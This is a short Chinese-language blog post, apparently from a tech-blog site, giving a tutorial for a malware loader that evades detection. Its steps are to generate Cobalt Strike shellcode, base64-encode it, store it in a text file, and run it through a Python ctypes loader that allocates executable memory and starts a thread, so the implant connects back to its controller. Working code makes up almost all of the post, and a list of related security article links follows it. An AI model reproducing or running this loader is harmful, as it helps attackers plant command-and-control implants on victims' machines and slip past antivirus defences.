无文件落地&分离拆分-将shellcode从文本中提取-file

马子分为shellcode和执行代码.

--将shellcode单独拿出,放在txt中---等待被读取执行

1-cs生成python的payload.

2-将shellcode进行base64编码

python 复制代码
import base64

code = b'         '

en_code = base64.b64encode(code)
print(en_code)

3-将编码后的shellcode放入文件内

4-读取shellcode--执行--上线

python 复制代码
import ctypes
import base64

with open('s.txt','r') as f:
    s=f.read()

shellcode=base64.b64decode(s)

ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
相关推荐
数据库小学妹1 天前
数据库等保三级和四级有什么区别?从访问控制到备份恢复的完整对比
数据库·安全·数据库安全·三级等保·等保合规·四级等保
鹿鸣天涯1 天前
CISP认证学习笔记
安全·cisp
Lust Dusk1 天前
记一次Linux应急响应题目解析
linux·运维·服务器·网络·安全·网络安全
Ai思想家1 天前
PRD:企业 AI 网关(参考实现:魔芋企业 AI 网关 MAI Gateway)
人工智能·安全·ai
笨鸟先飞,勤能补拙1 天前
AI 安全的下一个 5 年:从 Agent 到 AGI 的攻防博弈
人工智能·python·安全·web安全·网络安全·github·agi
志栋智能1 天前
安全超自动化如何增强事件响应能力
运维·安全·自动化
数据知道1 天前
OWASP Top 10 实战通关指南:总览篇
网络·安全·网络安全
雨辰AI1 天前
K8s 国产数据库慢 SQL 自动监控|Prometheus+Grafana 可视化全落地
数据库·sql·安全·容器·kubernetes·grafana·prometheus
Lust Dusk2 天前
记一次web渗透做题思路解析
网络·安全·web安全·网络安全
山东科恩光电2 天前
如何通过科学安装安全地毯提升工作场所的防护效果?
安全